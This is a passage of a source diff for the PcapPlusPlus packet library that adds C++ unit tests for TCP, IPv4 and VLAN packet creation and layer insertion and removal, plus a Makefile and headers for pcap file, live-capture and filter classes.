(TcpLayer*)tcpPaketWithOptions.getLayerOfType(TCP)) != NULL, "TCP layer is NULL"); + + PACKETPP_ASSERT(tcpLayer->getTcpOptionsCount() == 5, "TCP options count != 5, it's %d", tcpLayer->getTcpOptionsCount()); + TcpOptionData* mssOptionData = NULL; + TcpOptionData* sackParmOptionData = NULL; + TcpOptionData* windowScaleOptionData = NULL; + PACKETPP_ASSERT((mssOptionData = tcpLayer->getTcpOptionData(TCPOPT_MSS)) != NULL, "TCP option MSS is NULL"); + PACKETPP_ASSERT((sackParmOptionData = tcpLayer->getTcpOptionData(TCPOPT_SACK_PERM)) != NULL, "TCP option SACK perm is NULL"); + PACKETPP_ASSERT((windowScaleOptionData = tcpLayer->getTcpOptionData(TCPOPT_WINDOW)) != NULL, "TCP option window scale is NULL"); + + PACKETPP_ASSERT(mssOptionData->len == 4, "TCP option Timestamp length != 4, it's 0x%X", mssOptionData->len); + PACKETPP_ASSERT(sackParmOptionData->len == 2, "TCP option SACK perm length != 2, it's 0x%X", sackParmOptionData->len); + PACKETPP_ASSERT(windowScaleOptionData->len == 3, "TCP option window scale length != 3, it's 0x%X", mssOptionData->len); + + uint16_t mssValue = 0; + memcpy(&mssValue, mssOptionData->value, 2); + PACKETPP_ASSERT(mssValue == htons(1460), "TCP option MSS option: value != 1460, it's %d", ntohs(mssValue)); + + uint8_t windowScale = *windowScaleOptionData->value; + PACKETPP_ASSERT(windowScale == 4, "TCP option window scale option: value != 4, it's %d", windowScale); + + PACKETPP_TEST_PASSED; +} + +PACKETPP_TEST(TcpPacketCreation) +{ + MacAddress srcMac("30:46:9a:23:fb:fa"); + MacAddress dstMac("08:00:27:19:1c:78"); + EthLayer ethLayer(srcMac, dstMac, ETHERTYPE_IP); + IPv4Address dstIP(string("10.0.0.6")); + IPv4Address srcIP(string("212.199.202.9")); + IPv4Layer ipLayer(srcIP, dstIP); + ipLayer.getIPv4Header()->ipId = htons(20300); + ipLayer.getIPv4Header()->fragmentOffset = htons(0x4000); + ipLayer.getIPv4Header()->timeToLive = 59; + TcpLayer tcpLayer((uint16_t)80, (uint16_t)44160, 3, TCPOPT_NOP, TCPOPT_NOP, TCPOPT_TIMESTAMP); + tcpLayer.getTcpHeader()->sequenceNumber = htonl(0xb829cb98); + tcpLayer.getTcpHeader()->ackNumber = htonl(0xe9771586); + tcpLayer.getTcpHeader()->ackFlag = 1; + tcpLayer.getTcpHeader()->pshFlag = 1; + tcpLayer.getTcpHeader()->windowSize = htons(20178); + TcpOptionData* tsOptionData = tcpLayer.getTcpOptionData(TCPOPT_TIMESTAMP); + uint32_t tsValue = htonl(3555735960); + memcpy(tsOptionData->value, &tsValue, 4); + uint8_t payloadData[9] = { 0x00, 0x49, 0x45, 0x4e, 0x44, 0xae, 0x42, 0x60, 0x82 }; + PayloadLayer PayloadLayer(payloadData, 9, true); + + Packet tcpPacket(1); + tcpPacket.addLayer(ðLayer); + tcpPacket.addLayer(&ipLayer); + tcpPacket.addLayer(&tcpLayer); + tcpPacket.addLayer(&PayloadLayer); + + uint32_t tsEchoReply = htonl(196757); + tsOptionData = tcpLayer.getTcpOptionData(TCPOPT_TIMESTAMP); + memcpy(tsOptionData->value+4, &tsEchoReply, 4); + + tcpPacket.computeCalculateFields(); + + int bufferLength = 0; + uint8_t* buffer = readFileIntoBuffer("PacketExamples/TcpPacketWithOptions2.dat", bufferLength); + PACKETPP_ASSERT(!(buffer == NULL), "cannot read file"); + +// printf("\n\n\n"); +// for(int i = 0; igetRawData()[i] != buffer[i]) +// printf("*0x%2X* ", tcpPacket.getRawPacket()->getRawData()[i]); +// else +// printf(" 0x%2X ", tcpPacket.getRawPacket()->getRawData()[i]); +// } +// printf("\n\n\n"); + + PACKETPP_ASSERT(memcmp(tcpPacket.getRawPacket()->getRawData(), buffer, bufferLength) == 0, "Raw packet data is different than expected"); + + delete [] buffer; + + PACKETPP_TEST_PASSED; +} + +PACKETPP_TEST(InsertDataToPacket) +{ + // Creating a packet + // ~~~~~~~~~~~~~~~~~ + + Packet ip4Packet(1); + + MacAddress srcMac("aa:aa:aa:aa:aa:aa"); + MacAddress dstMac("bb:bb:bb:bb:bb:bb"); + EthLayer ethLayer(srcMac, dstMac, ETHERTYPE_IP); + PACKETPP_ASSERT(ip4Packet.addLayer(ðLayer), "Adding ethernet layer failed"); + + IPv4Address ipSrc(string("1.1.1.1")); + IPv4Address ipDst(string("20.20.20.20")); + IPv4Layer ip4Layer(ipSrc, ipDst); + ip4Layer.getIPv4Header()->protocol = PACKETPP_IPPROTO_TCP; + PACKETPP_ASSERT(ip4Packet.addLayer(&ip4Layer), "Adding IPv4 layer failed"); + + uint8_t payload[] = { 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0xa }; + PayloadLayer payloadLayer(payload, 10, true); + PACKETPP_ASSERT(ip4Packet.addLayer(&payloadLayer), "Adding payload layer failed"); + + ip4Packet.computeCalculateFields(); + +// printf("\n\n\n"); +// for(int i = 0; igetRawDataLen(); i++) +// printf("0x%2X ", ip4Packet.getRawPacket()->getRawData()[i]); + + + // Adding a VLAN layer between Eth and IP + // ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + + VlanLayer vlanLayer(100, 0, 0, ETHERTYPE_IP); + + PACKETPP_ASSERT(ip4Packet.insertLayer(ðLayer, &vlanLayer) == true, "Couldn't insert VLAN layer after Eth later"); + +// printf("\n\n\n"); +// for(int i = 0; igetRawDataLen(); i++) +// printf("0x%2X ", ip4Packet.getRawPacket()->getRawData()[i]); +// printf("\n\n\n"); + + PACKETPP_ASSERT(ethLayer.getDestMac() == dstMac, "MAC dest after insert is different than MAC dest before insert"); + PACKETPP_ASSERT(ip4Layer.getIPv4Header()->internetHeaderLength == 5, "IP header len != 5"); + PACKETPP_ASSERT(ip4Layer.getDstIpAddress() == ipDst, "IP dst after insert is different than IP dst before insert"); + PACKETPP_ASSERT(ip4Layer.getSrcIpAddress() == ipSrc, "IP src after insert is different than IP src before insert"); + PACKETPP_ASSERT(payloadLayer.getPayload()[3] == 0x04, "Payload after insert is different than payload before insert"); + + + // Adding another Eth layer at the beginning of the packet + // ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + + MacAddress srcMac2("cc:cc:cc:cc:cc:cc"); + MacAddress dstMac2("dd:dd:dd:dd:dd:dd"); + EthLayer ethLayer2(srcMac2, dstMac2, ETHERTYPE_IP); + PACKETPP_ASSERT(ip4Packet.insertLayer(NULL, ðLayer2), "Adding 2nd ethernet layer failed"); + + PACKETPP_ASSERT(ip4Packet.getFirstLayer() == ðLayer2, "1st layer in packet isn't ethLayer2"); + PACKETPP_ASSERT(ip4Packet.getFirstLayer()->getNextLayer() == ðLayer, "2nd layer in packet isn't ethLayer"); + PACKETPP_ASSERT(ip4Packet.getFirstLayer()->getNextLayer()->getNextLayer() == &vlanLayer, "3rd layer in packet isn't vlanLayer"); + PACKETPP_ASSERT(ethLayer.getDestMac() == dstMac, "MAC dest after insert is different than MAC dest before insert"); + PACKETPP_ASSERT(ip4Layer.getIPv4Header()->internetHeaderLength == 5, "IP header len != 5"); + PACKETPP_ASSERT(ip4Layer.getDstIpAddress() == ipDst, "IP dst after insert is different than IP dst before insert"); + PACKETPP_ASSERT(ip4Layer.getSrcIpAddress() == ipSrc, "IP src after insert is different than IP src before insert"); + PACKETPP_ASSERT(payloadLayer.getPayload()[3] == 0x04, "Payload after insert is different than payload before insert"); + +// printf("\n\n\n"); +// for(int i = 0; igetRawDataLen(); i++) +// printf("0x%2X ", ip4Packet.getRawPacket()->getRawData()[i]); +// printf("\n\n\n"); + + + // Adding a TCP layer at the end of the packet + // ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + + TcpLayer tcpLayer((uint16_t)12345, (uint16_t)80, 0); + PACKETPP_ASSERT(ip4Packet.insertLayer(&payloadLayer, &tcpLayer), "Adding tcp layer at the end of packet failed"); + + + // Create a new packet and use insertLayer for the first layer in packet + // ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + + Packet testPacket(1); + EthLayer ethLayer3(srcMac2, dstMac2, ETHERTYPE_IP); + testPacket.insertLayer(NULL, ðLayer3); + PACKETPP_ASSERT(testPacket.getFirstLayer() == ðLayer3, "ethLayer3 isn't the first layer in testPacket"); + PACKETPP_ASSERT(testPacket.getFirstLayer()->getNextLayer() == NULL, "ethLayer3 wrongly has a next layer") + PACKETPP_ASSERT(ethLayer3.getDestMac() == dstMac2, "ethLayer3 MAC dest is different than before inserting to packet"); + +// printf("\n\n\n"); +// for(int i = 0; igetRawDataLen(); i++) +// printf("0x%2X ", testPacket.getRawPacket()->getRawData()[i]); +// printf("\n\n\n"); + + PACKETPP_TEST_PASSED; +} + +PACKETPP_TEST(InsertVlanToPacket) +{ + int bufferLength = 0; + uint8_t* buffer = readFileIntoBuffer("PacketExamples/TcpPacketWithOptions3.dat", bufferLength); + PACKETPP_ASSERT(!(buffer == NULL), "cannot read file"); + + timeval time; + gettimeofday(&time, NULL); + RawPacket rawPacket((const uint8_t*)buffer, bufferLength, time, true); + + Packet tcpPacket(&rawPacket); + +// printf("\n\n\n"); +// for(int i = 0; igetRawDataLen(); i++) +// printf("0x%2X ", tcpPacket.getRawPacket()->getRawData()[i]); +// printf("\n\n\n"); + + VlanLayer vlanLayer(4001, 0, 0, ETHERTYPE_IP); + tcpPacket.insertLayer(tcpPacket.getFirstLayer(), &vlanLayer); + +// printf("\n\n\n"); +// for(int i = 0; igetRawDataLen(); i++) +// printf("0x%2X ", tcpPacket.getRawPacket()->getRawData()[i]); +// printf("\n\n\n"); + + PACKETPP_ASSERT(tcpPacket.getRawPacket()->getRawDataLen() == 78, "Size of packet after vlan insert isn't 78, it's %d", tcpPacket.getRawPacket()->getRawDataLen()); + PACKETPP_ASSERT(tcpPacket.getFirstLayer()->getNextLayer() == &vlanLayer, "VLAN layer isn't the second layer as expected"); + PACKETPP_ASSERT(vlanLayer.getNextLayer() != NULL, "VLAN layer next layer is null"); + PACKETPP_ASSERT(vlanLayer.getNextLayer()->getProtocol() == IPv4, "VLAN layer next layer isn't IPv4"); + + PACKETPP_TEST_PASSED; +} + +PACKETPP_TEST(RemoveLayerTest) +{ + // parse packet and remove layers + // ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + + int bufferLength = 0; + uint8_t* buffer = readFileIntoBuffer("PacketExamples/TcpPacketNoOptions.dat", bufferLength); + PACKETPP_ASSERT(!(buffer == NULL), "cannot read file"); + + timeval time; + gettimeofday(&time, NULL); + RawPacket rawPacket((const uint8_t*)buffer, bufferLength, time, true); + + Packet tcpPacket(&rawPacket); + +// printf("\n\n\n"); +// for(int i = 0; igetRawDataLen(); i++) +// printf("0x%2X ", tcpPacket.getRawPacket()->getRawData()[i]); +// printf("\n\n\n"); + + // a. Remove layer from the middle + // ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + + IPv4Layer* ipLayer = (IPv4Layer*)tcpPacket.getLayerOfType(IPv4); + PACKETPP_ASSERT(tcpPacket.removeLayer(ipLayer), "Remove IPv4 layer failed"); + PACKETPP_ASSERT(tcpPacket.isPacketOfType(IPv4) == false, "Packet is still of type IPv4"); + PACKETPP_ASSERT(tcpPacket.isPacketOfType(Ethernet) == true, "Packet isn't of type Ethernet"); + PACKETPP_ASSERT(tcpPacket.getLayerOfType(IPv4) == NULL, "Can still retrieve IPv4 layer"); + PACKETPP_ASSERT(tcpPacket.getFirstLayer()->getNextLayer()->getProtocol() == TCP, "Layer next to Ethernet isn't TCP"); + PACKETPP_ASSERT(tcpPacket.getRawPacket()->getRawDataLen() == 271, "Data length != 271, it's %d", tcpPacket.getRawPacket()->getRawDataLen()); + +// printf("\n\n\n"); +// for(int i = 0; igetRawDataLen(); i++) +// printf("0x%2X ", tcpPacket.getRawPacket()->getRawData()[i]); +// printf("\n\n\n"); + + // b. Remove first layer + // ~~~~~~~~~~~~~~~~~~~~~ + + PACKETPP_ASSERT(tcpPacket.removeLayer(tcpPacket.getFirstLayer()), "Remove first layer failed"); + PACKETPP_ASSERT(tcpPacket.isPacketOfType(IPv4) == false, "Packet is still of type IPv4"); + PACKETPP_ASSERT(tcpPacket.isPacketOfType(Ethernet) == false, "Packet is still of type Ethernet"); + PACKETPP_ASSERT(tcpPacket.getFirstLayer()->getProtocol() == TCP, "First layer isn't of type TCP"); + PACKETPP_ASSERT(tcpPacket.getFirstLayer()->getNextLayer()->getNextLayer() == NULL, "More than 2 layers in packet"); + PACKETPP_ASSERT(tcpPacket.getRawPacket()->getRawDataLen() == 257, "Data length != 257, it's %d", tcpPacket.getRawPacket()->getRawDataLen()); + +// printf("\n\n\n"); +// for(int i = 0; igetRawDataLen(); i++) +// printf("0x%2X ", tcpPacket.getRawPacket()->getRawData()[i]); +// printf("\n\n\n"); + + // c. Remove last layer + // ~~~~~~~~~~~~~~~~~~~~ + PACKETPP_ASSERT(tcpPacket.removeLayer(tcpPacket.getLastLayer()), "Remove last layer failed"); + PACKETPP_ASSERT(tcpPacket.isPacketOfType(IPv4) == false, "Packet is still of type IPv4"); + PACKETPP_ASSERT(tcpPacket.isPacketOfType(Ethernet) == false, "Packet is still of type Ethernet"); + PACKETPP_ASSERT(tcpPacket.getFirstLayer() == tcpPacket.getLastLayer(), "More than 1 layer still in packet"); + PACKETPP_ASSERT(tcpPacket.getFirstLayer()->getProtocol() == TCP, "TCP layer was accidently removed from packet"); + PACKETPP_ASSERT(tcpPacket.getRawPacket()->getRawDataLen() == 20, "Data length != 20, it's %d", tcpPacket.getRawPacket()->getRawDataLen()); + +// printf("\n\n\n"); +// for(int i = 0; igetRawDataLen(); i++) +// printf("0x%2X ", tcpPacket.getRawPacket()->getRawData()[i]); +// printf("\n\n\n"); + + // create packet and remove layers + // ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + + Packet testPacket(10); + + MacAddress srcMac("aa:aa:aa:aa:aa:aa"); + MacAddress dstMac("bb:bb:bb:bb:bb:bb"); + EthLayer ethLayer(srcMac, dstMac, ETHERTYPE_IP); + PACKETPP_ASSERT(testPacket.addLayer(ðLayer), "Adding ethernet layer failed"); + + IPv4Address ipSrc(string("1.1.1.1")); + IPv4Address ipDst(string("20.20.20.20")); + IPv4Layer ip4Layer(ipSrc, ipDst); + ip4Layer.getIPv4Header()->protocol = PACKETPP_IPPROTO_TCP; + PACKETPP_ASSERT(testPacket.addLayer(&ip4Layer), "Adding IPv4 layer failed"); + + uint8_t payload[] = { 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0xa }; + PayloadLayer payloadLayer(payload, 10, true); + PACKETPP_ASSERT(testPacket.addLayer(&payloadLayer), "Adding payload layer failed"); + +// printf("\n\n\n"); +// for(int i = 0; igetRawDataLen(); i++) +// printf("0x%2X ", testPacket.getRawPacket()->getRawData()[i]); +// printf("\n\n\n"); + + // a. remove first layer + // ~~~~~~~~~~~~~~~~~~~~~ + + PACKETPP_ASSERT(testPacket.removeLayer(ðLayer), "Couldn't remove Eth layer"); + PACKETPP_ASSERT(testPacket.getFirstLayer() == &ip4Layer, "IPv4 layer isn't the first layer"); + PACKETPP_ASSERT(testPacket.getFirstLayer()->getNextLayer()->getNextLayer() == NULL, "More than 2 layers remain in packet"); + PACKETPP_ASSERT(testPacket.isPacketOfType(Ethernet) == false, "Packet is wrongly of type Ethernet"); + PACKETPP_ASSERT(testPacket.isPacketOfType(IPv4) == true, "Packet isn't of type IPv4"); + PACKETPP_ASSERT(testPacket.getRawPacket()->getRawDataLen() == 30, "Raw packet length != 30, it's %d", testPacket.getRawPacket()->getRawDataLen()); + +// printf("\n\n\n"); +// for(int i = 0; igetRawDataLen(); i++) +// printf("0x%2X ", testPacket.getRawPacket()->getRawData()[i]); +// printf("\n\n\n"); + + + // b. remove last layer + // ~~~~~~~~~~~~~~~~~~~~ + + PACKETPP_ASSERT(testPacket.removeLayer(&payloadLayer), "Couldn't remove Payload layer"); + PACKETPP_ASSERT(testPacket.getFirstLayer() == &ip4Layer, "IPv4 layer isn't the first layer"); + PACKETPP_ASSERT(testPacket.getFirstLayer()->getNextLayer() == NULL, "More than 1 layer remain in packet"); + PACKETPP_ASSERT(testPacket.isPacketOfType(IPv4) == true, "Packet isn't of type IPv4"); + PACKETPP_ASSERT(testPacket.isPacketOfType(Ethernet) == false, "Packet is wrongly of type Ethernet"); + PACKETPP_ASSERT(testPacket.getRawPacket()->getRawDataLen() == 20, "Raw packet length != 20, it's %d", testPacket.getRawPacket()->getRawDataLen()); + +// printf("\n\n\n"); +// for(int i = 0; igetRawDataLen(); i++) +// printf("0x%2X ", testPacket.getRawPacket()->getRawData()[i]); +// printf("\n\n\n"); + + + // c. insert a layer + // ~~~~~~~~~~~~~~~~~ + + VlanLayer vlanLayer(4001, 0, 0, ETHERTYPE_IP); + PACKETPP_ASSERT(testPacket.insertLayer(NULL, &vlanLayer), "Couldn't add VLAN layer"); + PACKETPP_ASSERT(testPacket.getFirstLayer() == &vlanLayer, "VLAN isn't the first layer"); + PACKETPP_ASSERT(testPacket.getFirstLayer()->getNextLayer() == &ip4Layer, "IPv4 isn't the second layer"); + PACKETPP_ASSERT(testPacket.isPacketOfType(VLAN) == true, "Packet isn't of type VLAN"); + PACKETPP_ASSERT(testPacket.getRawPacket()->getRawDataLen() == 24, "Raw packet length != 24, it's %d", testPacket.getRawPacket()->getRawDataLen()); + +// printf("\n\n\n"); +// for(int i = 0; igetRawDataLen(); i++) +// printf("0x%2X ", testPacket.getRawPacket()->getRawData()[i]); +// printf("\n\n\n"); + + + // d. remove the remaining layers (packet remains empty!) + // ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + PACKETPP_ASSERT(testPacket.removeLayer(&ip4Layer), "Couldn't remove IPv4 layer"); + PACKETPP_ASSERT(testPacket.getFirstLayer() == &vlanLayer, "VLAN isn't the first layer"); + PACKETPP_ASSERT(testPacket.isPacketOfType(IPv4) == false, "Packet is wrongly of type IPv4"); + PACKETPP_ASSERT(testPacket.isPacketOfType(VLAN) == true, "Packet isn't of type VLAN"); + PACKETPP_ASSERT(testPacket.getRawPacket()->getRawDataLen() == 4, "Raw packet length != 4, it's %d", testPacket.getRawPacket()->getRawDataLen()); + PACKETPP_ASSERT(testPacket.removeLayer(&vlanLayer), "Couldn't remove VLAN layer"); + PACKETPP_ASSERT(testPacket.isPacketOfType(VLAN) == false, "Packet is wrongly of type VLAN"); + PACKETPP_ASSERT(testPacket.getRawPacket()->getRawDataLen() == 0, "Raw packet length != 0, it's %d", testPacket.getRawPacket()->getRawDataLen()); + +// printf("\n\n\n"); +// for(int i = 0; igetRawDataLen(); i++) +// printf("0x%2X ", testPacket.getRawPacket()->getRawData()[i]); +// printf("\n\n\n"); + + + PACKETPP_TEST_PASSED; +} + +int main(int argc, char* argv[]) { + PACKETPP_START_RUNNING_TESTS; + + PACKETPP_RUN_TEST(EthPacketCreation); + PACKETPP_RUN_TEST(EthAndArpPacketParsing); + PACKETPP_RUN_TEST(ArpPacketCreation); + PACKETPP_RUN_TEST(VlanParseAndCreation); + PACKETPP_RUN_TEST(Ipv4PacketCreation); + PACKETPP_RUN_TEST(Ipv4PacketParsing); + PACKETPP_RUN_TEST(Ipv4UdpChecksum); + PACKETPP_RUN_TEST(Ipv6UdpPacketParseAndCreate); + PACKETPP_RUN_TEST(TcpPacketNoOptionsParsing); + PACKETPP_RUN_TEST(TcpPacketWithOptionsParsing); + PACKETPP_RUN_TEST(TcpPacketWithOptionsParsing2); + PACKETPP_RUN_TEST(TcpPacketCreation); + PACKETPP_RUN_TEST(InsertDataToPacket); + PACKETPP_RUN_TEST(InsertVlanToPacket); + PACKETPP_RUN_TEST(RemoveLayerTest); + + check_leaks(); + PACKETPP_END_RUNNING_TESTS; +} diff --git a/Pcap++/Makefile b/Pcap++/Makefile new file mode 100644 index 0000000000..c36dce1482 --- /dev/null +++ b/Pcap++/Makefile @@ -0,0 +1,49 @@ +-include ../mk/platform.mk + +SOURCES := $(wildcard ./src/*.cpp) +OBJS_FILENAMES := $(patsubst ./src/%.cpp,%.o,$(SOURCES)) +OBJS := $(patsubst ./src/%.cpp,./Obj/%.o,$(SOURCES)) + +COMMONPP_HOME := ../Common++ +PACKETPP_HOME := ../Packet++ + +ifdef WIN32 +DEPS := -DWPCAP -DHAVE_REMOTE +endif + +INCLUDES := -I"./src" \ + -I"./header" \ + -I"$(COMMONPP_HOME)/header" \ + -I"$(PACKETPP_HOME)/header" + +ifdef WIN32 +INCLUDES += -I$(MINGW_HOME)/include/ddk \ + -I$(WINPCAP_HOME)/Include +endif +ifdef LINUX +INCLUDES += -I/usr/include/netinet +endif + +$(OBJS_FILENAMES): + @echo 'Building file: $(@:%.o=./src/%.cpp)' + @echo 'Invoking: GCC C++ Compiler' + $(G++) $(DEPS) $(INCLUDES) -O2 -g -Wall -c -fmessage-length=0 -MMD -MP -MF"$(@:%.o=./Obj/%.d)" -MT"$(@:%.o=./Obj/%.d)" -o "./Obj/$@" "$(@:%.o=./src/%.cpp)" + @echo 'Finished building: $(@:%.o=./src/%.cpp)' + @echo ' ' + +# All Target +all: Pcap++.lib + +# Tool invocations +Pcap++.lib: $(OBJS_FILENAMES) + @echo 'Building target: $@' + @echo 'Invoking: GCC Archiver' + $(AR) -r "Lib/$(LIB_PREFIX)Pcap++$(LIB_EXT)" $(OBJS) + @echo 'Finished successfully building target: $@' + @echo ' ' + +# Other Targets +clean: + $(RM) -rf ./Obj/* + $(RM) -rf ./Lib/* + @echo 'Clean finished' \ No newline at end of file diff --git a/Pcap++/header/PcapDevice.h b/Pcap++/header/PcapDevice.h new file mode 100644 index 0000000000..1c1739bf64 --- /dev/null +++ b/Pcap++/header/PcapDevice.h @@ -0,0 +1,23 @@ +#ifndef PCAPPP_DEVICE +#define PCAPPP_DEVICE + +#include +#include +#include + +class IPcapDevice +{ +protected: + pcap_t* m_pPcapDescriptor; + bool m_DeviceOpened; +public: + IPcapDevice() { m_DeviceOpened = false; m_pPcapDescriptor = NULL; } + virtual ~IPcapDevice(); + virtual bool open() = 0; + virtual void close() = 0; + virtual void getStatistics(pcap_stat& stats) = 0; + bool setFilter(GeneralFilter& filter); + bool setFilter(string filterAsString); +}; + +#endif diff --git a/Pcap++/header/PcapFileDevice.h b/Pcap++/header/PcapFileDevice.h new file mode 100644 index 0000000000..d37fec6d62 --- /dev/null +++ b/Pcap++/header/PcapFileDevice.h @@ -0,0 +1,55 @@ +#ifndef PCAPPP_FILE_DEVICE +#define PCAPPP_FILE_DEVICE + +#include + +class IPcapFileDevice : public IPcapDevice +{ +protected: + char* m_pFileName; +public: + IPcapFileDevice(const char* pFileName); + ~IPcapFileDevice(); + + //override methods + + virtual void close(); +}; + +class PcapFileReaderDevice : public IPcapFileDevice +{ +private: + uint32_t m_NumOfPacketsRead; + uint32_t m_NumOfPacketsNotParsed; +public: + PcapFileReaderDevice(const char* pFileName); + ~PcapFileReaderDevice(); + + bool getNextPacket(RawPacket& rRawPacket); + + //override methods + + virtual bool open(); + virtual void getStatistics(pcap_stat& stats); +}; + +class PcapFileWriterDevice : public IPcapFileDevice +{ +private: + pcap_dumper_t* m_pPcapDumpHandler; + uint32_t m_NumOfPacketsWritten; + uint32_t m_NumOfPacketsNotWritten; +public: + PcapFileWriterDevice(const char* pFileName); + ~PcapFileWriterDevice(); + + bool writePacket(RawPacket const& pPacket); + + //override methods + + virtual bool open(); + virtual void close(); + virtual void getStatistics(pcap_stat& stats); +}; + +#endif diff --git a/Pcap++/header/PcapFilter.h b/Pcap++/header/PcapFilter.h new file mode 100644 index 0000000000..2f3870489f --- /dev/null +++ b/Pcap++/header/PcapFilter.h @@ -0,0 +1,106 @@ +#ifndef PCAPP_FILTER +#define PCAPP_FILTER + +#include +#include +#include "ProtocolType.h" +#include +#include + +using namespace std; + +typedef enum {SRC, DST, SRC_OR_DST} Direction; + +class GeneralFilter +{ +public: + virtual void parseToString(string& result) = 0; + virtual ~GeneralFilter(); +}; + +class IFilterWithDirection : public GeneralFilter +{ +private: + Direction m_Dir; +protected: + void parseDirection(string& directionAsString); +public: + IFilterWithDirection(Direction dir) { m_Dir = dir; } + void setDirection(Direction dir) { m_Dir = dir; } +}; + +class IPFilter : public IFilterWithDirection +{ +private: + string m_Address; +public: + IPFilter(string& ipAddress, Direction dir); + void parseToString(string& result); + void setAddr(string& ipAddress) { m_Address = ipAddress; } +}; + +class PortFilter : public IFilterWithDirection +{ +private: + string m_Port; + void portToString(uint16_t portAsInt); +public: + PortFilter(uint16_t port, Direction dir); + void parseToString(string& result); + void setPort(uint16_t port) { portToString(port); } +}; + +class AndFilter : public GeneralFilter +{ +private: + vector m_xFilterList; +public: + AndFilter(vector& filters); + void parseToString(string& result); +}; + +class OrFilter : public GeneralFilter +{ +private: + vector m_xFilterList; +public: + OrFilter(vector& filters); + void parseToString(string& result); +}; + +class NotFilter : public GeneralFilter +{ +private: + GeneralFilter* m_pFilterToInverse; +public: + NotFilter(GeneralFilter* filterToInverse) { m_pFilterToInverse = filterToInverse; } + void parseToString(string& result); + void setFilter(GeneralFilter* filterToInverse) { m_pFilterToInverse = filterToInverse; } +}; + +class ProtoFilter : public GeneralFilter +{ +private: + ProtocolType m_Proto; +public: + ProtoFilter(ProtocolType proto) { m_Proto = proto; } + void parseToString(string& result); + void setProto(ProtocolType proto) { m_Proto = proto; } +}; + +class ArpFilter : public GeneralFilter +{ +private: + ArpOpcode m_OpCode; +public: + ArpFilter(ArpOpcode opCode) + { + m_OpCode = opCode; + } + + void setOpCode(ArpOpcode opCode) { m_OpCode = opCode; } + + void parseToString(string& result); +}; + +#endif diff --git a/Pcap++/header/PcapLiveDevice.h b/Pcap++/header/PcapLiveDevice.h new file mode 100644 index 0000000000..7f5a5a6bb2 --- /dev/null +++ b/Pcap++/header/PcapLiveDevice.h @@ -0,0 +1,97 @@ +//TODO: replace all these defines with #pragma once +#ifndef PCAPPP_LIVE_DEVICE +#define PCAPPP_LIVE_DEVICE + +#include +#include +#include +#include "IpAddress.h" +#include + +using namespace std; + +class PcapLiveDevice; + +typedef void (*OnPacketArrivesCallback)(RawPacket* pPacket, PcapLiveDevice* pDevice, void* userCookie); +typedef void (*OnStatsUpdateCallback)(pcap_stat& stats, void* userCookie); + +typedef void* (*ThreadStart)(void*); + +struct PcapThread; + +class PcapLiveDevice : public IPcapDevice +{ + friend class PcapLiveDeviceList; + +protected: + const char* m_pName; + const char* m_pDescription; + bool m_IsLoopback; + uint16_t m_DeviceMtu; + vector m_xAddresses; + MacAddress m_xMacAddress; + PcapThread* m_pCaptureThread; + bool m_CaptureThreadStarted; + PcapThread* m_pStatsThread; + bool m_StatsThreadStarted; + bool m_StopThread; + OnPacketArrivesCallback m_cbOnPacketArrives; + void* m_cbOnPacketArrivesUserCookie; + OnStatsUpdateCallback m_cbOnStatsUpdate; + void* m_cbOnStatsUpdateUserCookie; + int m_IntervalToUpdateStats; + vector* m_pCapturedPackets; + bool m_CaptureCallbackMode; + + PcapLiveDevice(pcap_if_t* pInterface, bool calculateMTU); + void setDeviceMtu(); + void setDeviceMacAddress(); + static void* captureThreadMain(void *ptr); + static void* statsThreadMain(void *ptr); + static void onPacketArrives(uint8_t *user, const struct pcap_pkthdr *pkthdr, const uint8_t *packet); + static void onPacketArrivesNoCallback(uint8_t *user, const struct pcap_pkthdr *pkthdr, const uint8_t *packet); + string printThreadId(PcapThread* id); + virtual ThreadStart getCaptureThreadStart(); +public: + enum LiveDeviceType { + LibPcapDevice, + WinPcapDevice + }; + + enum DeviceMode { + Normal = 0, + Promiscuous = 1 + }; + + ~PcapLiveDevice(); + + virtual LiveDeviceType getDeviceType() { return LibPcapDevice; } + inline const char* getName() { return m_pName; } + inline const char* getDesc() { return m_pDescription; } + inline bool getLoopback() { return m_IsLoopback; } + inline uint16_t getMtu() { return m_DeviceMtu; } + inline vector& getAddresses() { return m_xAddresses; } + inline MacAddress getMacAddress() { return m_xMacAddress; } + IPv4Address getIPv4Address(); + + virtual bool startCapture(OnPacketArrivesCallback onPacketArrives, void* onPacketArrivesUserCookie); + virtual bool startCapture(OnPacketArrivesCallback onPacketArrives, void* onPacketArrivesUserCookie, int intervalInSecondsToUpdateStats, OnStatsUpdateCallback onStatsUpdate, void* onStatsUpdateUserCookie); + virtual bool startCapture(int intervalInSecondsToUpdateStats, OnStatsUpdateCallback onStatsUpdate, void* onStatsUpdateUserCookie); + virtual bool startCapture(vector* pCapturedPacketsVector); + void stopCapture(); + bool sendPacket(RawPacket const& rawPacket); + bool sendPacket(const uint8_t* packetData, int packetDataLength); + bool sendPacket(Packet* packet); + virtual int sendPackets(RawPacket* rawPacketsArr, int arrLength); + virtual int sendPackets(Packet** packetsArr, int arrLength); + + //override methods + + bool open(); + void close(); + virtual void getStatistics(pcap_stat& stats); + + bool open(DeviceMode mode); +}; + +#endif diff --git a/Pcap++/header/PcapLiveDeviceList.h b/Pcap++/header/PcapLiveDeviceList.h new file mode 100644 index 0000000000..d61cf45bb1 --- /dev/null +++ b/Pcap++/header/PcapLiveDeviceList.h @@ -0,0 +1,24 @@ +#ifndef PCAPPP_LIVE_DEVICE_LIST +#define PCAPPP_LIVE_DEVICE_LIST + +#include +#include +#include +#include + +using namespace std; + +class PcapLiveDeviceList +{ +private: + static bool m_IsInitialized; + static vector m_xLiveDeviceList; +public: + static const vector& getPcapLiveDevicesList(); + static PcapLiveDevice* getPcapLiveDeviceByIp(IPAddress* pIPAddr); 